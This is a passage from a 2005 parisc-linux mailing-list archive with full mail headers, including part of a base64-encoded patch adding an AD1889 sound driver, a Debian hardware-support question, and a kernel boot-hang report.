UiAgIDB4MDAwNA0KKw0KKyNkZWZpbmUgQURfQUM5N19TUjAgICAgIDB4MTc4IC8qIHNhbXBsZSBy
YXRlIDAsIDB4YmI4MCA9PSA0OEsgKi8NCisjZGVmaW5lICBBRF9BQzk3X1NSMF80OEsgMHhiYjgw
IC8qIDQ4S0h6ICovDQorI2RlZmluZSBBRF9BQzk3X1NSMSAgICAgMHgxN2EgLyogc2FtcGxlIHJh
dGUgMSAqLw0KKw0KKyNkZWZpbmUgQURfQUM5N19BQ0lDCTB4MTgwIC8qIGFjOTcgY29kZWMgaW50
ZXJmYWNlIGNvbnRyb2wgKi8NCisjZGVmaW5lICBBRF9BQzk3X0FDSUNfQUNJRSAgMHgwMDAxIC8q
IGFuYWxvZyBjb2RlYyBpbnRlcmZhY2UgZW5hYmxlICovDQorI2RlZmluZSAgQURfQUM5N19BQ0lD
X0FDUkQgIDB4MDAwMiAvKiBhbmFsb2cgY29kZWMgcmVzZXQgZGlzYWJsZSAqLw0KKyNkZWZpbmUg
IEFEX0FDOTdfQUNJQ19BU09FICAweDAwMDQgLyogYXVkaW8gc3RyZWFtIG91dHB1dCBlbmFibGUg
Ki8NCisjZGVmaW5lICBBRF9BQzk3X0FDSUNfVlNSTSAgMHgwMDA4IC8qIHZhcmlhYmxlIHNhbXBs
ZSByYXRlIG1vZGUgKi8NCisjZGVmaW5lICBBRF9BQzk3X0FDSUNfRlNESCAgMHgwMTAwIC8qIGZv
cmNlIFNEQVRBX09VVCBoaWdoICovDQorI2RlZmluZSAgQURfQUM5N19BQ0lDX0ZTWUggIDB4MDIw
MCAvKiBmb3JjZSBzeW5jIGhpZ2ggKi8NCisjZGVmaW5lICBBRF9BQzk3X0FDSUNfQUNSRFkgMHg4
MDAwIC8qIGFuYWxvZyBjb2RlYyByZWFkeSBzdGF0dXMgKi8NCisvKiBiaXRzIDEwIC0+IDE0IHJl
c2VydmVkICovDQorDQorDQorI2RlZmluZSBBRF9EU19NRU1TSVpFCTUxMg0KKyNkZWZpbmUgQURf
T1BMX01FTVNJWkUJMTYNCisjZGVmaW5lIEFEX01JRElfTUVNU0laRQkxNg0KKw0KKyNkZWZpbmUg
QURfV0FWX1NUQVRFCTANCisjZGVmaW5lIEFEX0FEQ19TVEFURQkxDQorI2RlZmluZSBBRF9NQVhf
U1RBVEVTCTINCisNCisvKiAiPGdnZz4gVC1Cb25lOiBwYXJpc2MgSU9NTVUgY2FuIHN0YXJ0IERN
QSBhdCBhbnkgYWRkcmVzcy4NCisgICBCdXQgdGhlIElPTU1VIGNhbiBvbmx5IG1hcCBhdCBwYWdl
IHNpemUgZ3JhbnVsYXJpdHkuIg0KKyAgIFRoaXMgYWZmZWN0cyBpbiBwYXJ0aWN1bGFyIC5wZXJp
b2RfYnl0ZXNfbWluICovDQorI2RlZmluZSBCVUZfU0laRSAgICAgICAgUEFHRV9TSVpFDQorI2Rl
ZmluZSBNQVhfQlVGUyAgICAgICAgMzINCisjZGVmaW5lIERNQV9TSVpFCShNQVhfQlVGUypCVUZf
U0laRSkNCisNCisjZGVmaW5lIEFEX0NIQU5fV0FWCTB4MDAwMQ0KKyNkZWZpbmUgQURfQ0hBTl9B
REMJMHgwMDAyDQorI2RlZmluZSBBRF9DSEFOX1JFUwkweDAwMDQNCisjZGVmaW5lIEFEX0NIQU5f
U1lOCTB4MDAwOA0KKw0KKyNlbmRpZiAvKiBfX0FEMTg4OV9IX18gKi8NCmRpZmYgLU5ydSBsaW51
eC0yLjYuMTMtcmM0Lm9yaWcvc291bmQvcGNpL0tjb25maWcgbGludXgtMi42LjEzLXJjNC9zb3Vu
ZC9wY2kvS2NvbmZpZw0KLS0tIGxpbnV4LTIuNi4xMy1yYzQub3JpZy9zb3VuZC9wY2kvS2NvbmZp
ZwkyMDA1LTA3LTI5IDE5OjEyOjQ4LjAwMDAwMDAwMCArMDIwMA0KKysrIGxpbnV4LTIuNi4xMy1y
YzQvc291bmQvcGNpL0tjb25maWcJMjAwNS0wNy0yOSAxOTozNzowNC4wMDAwMDAwMDAgKzAyMDAN
CkBAIC0yMSw2ICsyMSwxOCBAQA0KIAkgIFRvIGNvbXBpbGUgdGhpcyBkcml2ZXIgYXMgYSBtb2R1
bGUsIGNob29zZSBNIGhlcmU6IHRoZSBtb2R1bGUNCiAJICB3aWxsIGJlIGNhbGxlZCBzbmQtYWxp
NTQ1MS4NCiANCitjb25maWcgU05EX0FEMTg4OQ0KKwl0cmlzdGF0ZSAiQW5hbG9nIERldmljZXMg
QUQxODg5Ig0KKwlkZXBlbmRzIG9uIFNORA0KKwlzZWxlY3QgU05EX0FDOTdfQ09ERUMNCisJaGVs
cA0KKwkgIFNheSBZIGhlcmUgdG8gaW5jbHVkZSBzdXBwb3J0IGZvciB0aGUgaW50ZWdyYXRlZCBB
Qzk3IHNvdW5kDQorCSAgZGV2aWNlIGZvdW5kIGluIHBhcnRpY3VsYXIgb24gdGhlIEhld2xldHQt
UGFja2FyZCBbQkNKXS14eHgwDQorCSAgY2xhc3MgUEEtUklTQyB3b3Jrc3RhdGlvbnMsIHVzaW5n
IHRoZSBBRDE4MTkgY29kZWMuDQorDQorCSAgVG8gY29tcGlsZSB0aGlzIGFzIGEgbW9kdWxlLCBj
aG9vc2UgTSBoZXJlOiB0aGUgbW9kdWxlDQorCSAgd2lsbCBiZSBjYWxsZWQgc25kLWFkMTg4OS4N
CisNCiBjb25maWcgU05EX0FUSUlYUA0KIAl0cmlzdGF0ZSAiQVRJIElYUCBBQzk3IENvbnRyb2xs
ZXIiDQogCWRlcGVuZHMgb24gU05EDQpkaWZmIC1OcnUgbGludXgtMi42LjEzLXJjNC5vcmlnL3Nv
dW5kL3BjaS9NYWtlZmlsZSBsaW51eC0yLjYuMTMtcmM0L3NvdW5kL3BjaS9NYWtlZmlsZQ0KLS0t
IGxpbnV4LTIuNi4xMy1yYzQub3JpZy9zb3VuZC9wY2kvTWFrZWZpbGUJMjAwNS0wNi0xNyAyMTo0
ODoyOS4wMDAwMDAwMDAgKzAyMDANCisrKyBsaW51eC0yLjYuMTMtcmM0L3NvdW5kL3BjaS9NYWtl
ZmlsZQkyMDA1LTA0LTAyIDAxOjAyOjIyLjAwMDAwMDAwMCArMDIwMA0KQEAgLTQsNiArNCw3IEBA
DQogIw0KIA0KIHNuZC1hbHM0MDAwLW9ianMgOj0gYWxzNDAwMC5vDQorc25kLWFkMTg4OS1vYmpz
IDo9IGFkMTg4OS5vDQogc25kLWF0aWl4cC1vYmpzIDo9IGF0aWl4cC5vDQogc25kLWF0aWl4cC1t
b2RlbS1vYmpzIDo9IGF0aWl4cF9tb2RlbS5vDQogc25kLWF6dDMzMjgtb2JqcyA6PSBhenQzMzI4
Lm8NCkBAIC0yNiw2ICsyNyw3IEBADQogDQogIyBUb3BsZXZlbCBNb2R1bGUgRGVwZW5kZW5jeQ0K
IG9iai0kKENPTkZJR19TTkRfQUxTNDAwMCkgKz0gc25kLWFsczQwMDAubw0KK29iai0kKENPTkZJ
R19TTkRfQUQxODg5KSArPSBzbmQtYWQxODg5Lm8NCiBvYmotJChDT05GSUdfU05EX0FUSUlYUCkg
Kz0gc25kLWF0aWl4cC5vDQogb2JqLSQoQ09ORklHX1NORF9BVElJWFBfTU9ERU0pICs9IHNuZC1h
dGlpeHAtbW9kZW0ubw0KIG9iai0kKENPTkZJR19TTkRfQVpUMzMyOCkgKz0gc25kLWF6dDMzMjgu
bw0K

--Multipart_Fri__29_Jul_2005_21_16_34_+0200_ThH=ju5RGqxcNjhm--

--Signature_Fri__29_Jul_2005_21_16_34_+0200_FtWMJFd7Nmvfje3L
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFC6oCVHjLD2rfS8GMRAhvoAKClHPGzws0ZCc2sGpXkaie7/HgyeQCfXC3J
2DGWgJQBfxfRV58v+cKHpVw=
=BrTX
-----END PGP SIGNATURE-----

--Signature_Fri__29_Jul_2005_21_16_34_+0200_FtWMJFd7Nmvfje3L--

--===============0960519385==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0960519385==--



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Support for AD1889 PCI Soundchip
Date: Fri, 29 Jul 2005 21:20:12 +0200
Organization: PA/Linux
Lines: 59
Approved: news@gmane.org
Message-ID: <20050729212012.331a692d__1494.77565796605$1416623870$gmane$org@Tatooine.r3z0>
References: <20050729211634.566f5343@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1466400304=="
X-Trace: ger.gmane.org 1416623870 15862 80.91.229.3 (22 Nov 2014 02:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:50 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 kyle@parisc-linux.org
To: perex@suse.cz
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2005 18:20:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 29 Jul 2005 20:20:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 680177D751;
	Fri, 29 Jul 2005 12:20:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19763-05; Fri, 29 Jul 2005 12:20:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 566FC7D752;
	Fri, 29 Jul 2005 12:20:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 497DA7D74E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 12:20:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19587-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 12:20:20 -0600 (MDT)
Original-Received: from postfix4-2.free.fr (postfix4-2.free.fr [213.228.0.176])
	by free.linux.hp.com (Postfix) with ESMTP id A55517D748
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 12:20:20 -0600 (MDT)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix4-2.free.fr (Postfix) with ESMTP id 905F73233C9;
	Fri, 29 Jul 2005 20:20:19 +0200 (CEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 995A133E4B; Fri, 29 Jul 2005 20:20:09 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id 0235333C89;
	Fri, 29 Jul 2005 20:19:58 +0200 (CEST)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with esmtp (Exim 3.36 #1 (Debian))
	id 1DyaP3-0001i8-00; Fri, 29 Jul 2005 21:20:17 +0200
In-Reply-To: <20050729211634.566f5343@Tatooine.r3z0>
X-Mailer: Sylpheed-Claws 1.0.4 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on Tatooine.r3z0
X-Spam-Status: No, score=-52.6 required=5.0 tests=BAYES_00,LOCAL_RCVD 
	autolearn=ham version=3.0.3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JxaYYo48eSEkfL6WZHQhaXN1IGRvb0CX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22988

--===============1466400304==
Content-Type: multipart/signed;
	boundary="Signature_Fri__29_Jul_2005_21_20_12_+0200_=8HpQnl4oD4cWRP="; 
	protocol="application/pgp-signature"; micalg=pgp-sha1

--Signature_Fri__29_Jul_2005_21_20_12_+0200_=8HpQnl4oD4cWRP=
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

On Fri, 29 Jul 2005 21:16:34 +0200
Thibaut VARENE <T-Bone@parisc-linux.org> wrote:

> Here's the diffstat summary:
>=20
>  MAINTAINERS        |    9
>  sound/pci/Kconfig  |   12
>  sound/pci/Makefile |    2
>  sound/pci/ad1889.c | 1166
> +++++++++++++++++++++++++++++++++++++++++++++++++++++
>  sound/pci/ad1889.h |  187 ++++++++
>  5 files changed, 1376 insertions(+)
>=20

Sorry for replying to myself, forgot the:

Signed-off-by: Thibaut VARENE <varenet@parisc-linux.org>

HTH

Thibaut VARENE
The PA/Linux Team
http://www.pateam.org/

--Signature_Fri__29_Jul_2005_21_20_12_+0200_=8HpQnl4oD4cWRP=
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFC6oFxHjLD2rfS8GMRAtJ6AJ0U3CXYbAtFGp8tI3R2bf6F1h+wBQCgtu4Z
zYDch5ahVrfDKKs1NT0PXGY=
=M3+A
-----END PGP SIGNATURE-----

--Signature_Fri__29_Jul_2005_21_20_12_+0200_=8HpQnl4oD4cWRP=--

--===============1466400304==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1466400304==--



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Maxime Woznicki <maxime.woznicki@evonux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian install
Date: Fri, 29 Jul 2005 13:58:52 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <42EA19FC.2030500@evonux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623870 15865 80.91.229.3 (22 Nov 2014 02:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2005 11:59:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 29 Jul 2005 13:59:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 061607D707;
	Fri, 29 Jul 2005 05:59:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15906-09; Fri, 29 Jul 2005 05:58:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EC2C7D70F;
	Fri, 29 Jul 2005 05:58:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F25D17D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 05:58:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15906-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 05:58:55 -0600 (MDT)
Original-Received: from postfix3-1.free.fr (postfix3-1.free.fr [213.228.0.44])
	by free.linux.hp.com (Postfix) with ESMTP id 5BDA67D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 05:58:55 -0600 (MDT)
Original-Received: from [192.168.1.102] (bne75-1-81-57-236-45.fbx.proxad.net
	[81.57.236.45])
	by postfix3-1.free.fr (Postfix) with ESMTP id 35B251734F7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Jul 2005 13:58:54 +0200 (CEST)
User-Agent: Debian Thunderbird 1.0.2 (X11/20050602)
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Xn+YYlI9eSEkYb6WZHQhaXN1IGRvbwDC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22989

Hello,

I would like to know if debian hppa port supports these differents 
servers (I've searched in the supported hardware page but it isn't 
really clear for me) :
* HP9000  L2000
* RP-4440
* RP5430
* RP5470

If these servers are supported , can they be used as production servers ?

Thx for help.

Max W.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 10:00:05 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20050731090005.GD5500@levanta.com>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623870 15868 80.91.229.3 (22 Nov 2014 02:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 09:00:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 31 Jul 2005 11:00:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 058697D759;
	Sun, 31 Jul 2005 03:00:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29476-07; Sun, 31 Jul 2005 03:00:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AAFE7D73F;
	Sun, 31 Jul 2005 03:00:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 230FC7D722
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 03:00:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29476-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 03:00:11 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id 42DDF7D707
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 03:00:11 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id C66D327B68B; Sun, 31 Jul 2005 10:00:05 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20050731061254.GG21753@roadwarrior.mcmartin.ca>
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cvaeYlsVeSEkeL6WZHQhaXN1IGRvb4B6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22990

On Sun, Jul 31, 2005 at 02:12:54AM -0400, Kyle McMartin wrote:
> On Sun, Jul 31, 2005 at 12:10:56AM +0100, Richard Hirst wrote:
> > PDC Stable Storage facility v0.09
> > Backtrace:
> >  [<10128170>] __wake_up+0x54/0x84
> 
> Try disabling CONFIG_PDC_STABLE_STORAGE until this gets worked out.

Thanks, gets a bit further now:

...
...
16. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
17. Raven W 360 (9000/780) at 0xfffa0000 [32] { 0, 0x0, 0x5c6, 0x00004 }
18. Memory at 0xfffb1000 [49] { 1, 0x0, 0x097, 0x00009 }
CPU(s): 1 x PA8500 (PCX-W) at 367.111100 MHz
Setting cache flush threshold to 440 (1 CPUs online)
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xf2000000
DEV: registering device: ID = 'pci0000:00'
DEV: registering device: ID = '0000:00:13.0'
DEV: registering device: ID = '0000:00:14.0'
Cujo version 2.0 found at 0xf1000000
Enabling Cujo 2.0 bug workaround
DEV: registering device: ID = 'pci0000:01'
DEV: registering device: ID = '0000:01:04.0'
SCSI subsystem initialized
TC classifier action (bugs to netdev@vger.kernel.org cc hadi@cyberus.ca)
unwind_init: start = 0x10422e20, end = 0x10446880, entries = 9126
inotify syscall
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f1ff0000 (64 kB), fb at f6000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1024
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
Console: switching to colour frame buffer device 128x48
fb0: stifb 1024x768-8 frame buffer device, PCI_GRAFFITIX1024, id: 2d08c0a7, mmio
: 0xf6100000
Generic RTC Driver v1.07
serio: GSC PS/2 keyboard port at 0xffd08000 irq 20 @ 8:16:7


Then it hangs.  TOC shows it is in _spin_lock_irqsave() with a return
address in gscps2_interrupt().

Richard

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Courtier-Dutton <James@superbug.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] schedule obsolete OSS drivers for
	removal
Date: Sun, 31 Jul 2005 14:38:34 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <42ECD45A.50803__42017.831587191$1416623871$gmane$org@superbug.demon.co.uk>
References: <20050726150837.GT3160@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623871 15870 80.91.229.3 (22 Nov 2014 02:37:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:51 +0000 (UTC)
Cc: alsa-devel@alsa-project.org,
 zaitcev@yahoo.com,
 zwane@commfireservices.com,
 kyle@parisc-linux.org,
 Thorsten Knabe <linux@thorsten-knabe.de>,
 linux-kernel@vger.kernel.org,
 linux-sound@vger.kernel.org,
 sailer@ife.ee.ethz.ch,
 parisc-linux@lists.parisc-linux.org,
 zab@zabbo.net,
 jgarzik@pobox.com,
 perex@suse.cz
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 13:38:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 31 Jul 2005 15:38:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AD4F7D719;
	Sun, 31 Jul 2005 07:38:45 -0600 (MDT)
